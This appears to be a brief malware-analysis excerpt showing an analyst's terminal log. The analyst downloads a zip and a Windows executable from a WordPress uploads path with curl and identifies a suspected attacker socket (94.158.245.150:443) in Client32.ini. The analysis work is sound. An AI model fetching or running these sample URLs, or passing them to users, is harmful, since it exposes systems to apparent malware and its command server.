λ curl https://moodi-wood.com/wp-content/uploads/astra/DancingParty.zip -o DancingParty.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 2618k  100 2618k    0     0  1824k      0  0:00:01  0:00:01 --:--:-- 1827k

C:\Users\root\Desktop
λ curl https://moodi-wood.com/wp-content/uploads/astra/CareAbout.exe -o CareAbout.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  103k  100  103k    0     0   105k      0 --:--:-- --:--:-- --:--:--  105k

C:\Users\root\Desktop
λ file DancingParty.zip
DancingParty.zip: Zip archive data, at least v2.0 to extract

C:\Users\root\Desktop
λ file CareAbout.exe
CareAbout.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Unzipping DancingParty.zip and analyzing the folder’s contents. The file Client32.ini contained the socket 94.158.245.150:443, which I assume points to a malicious attacker.

client32ini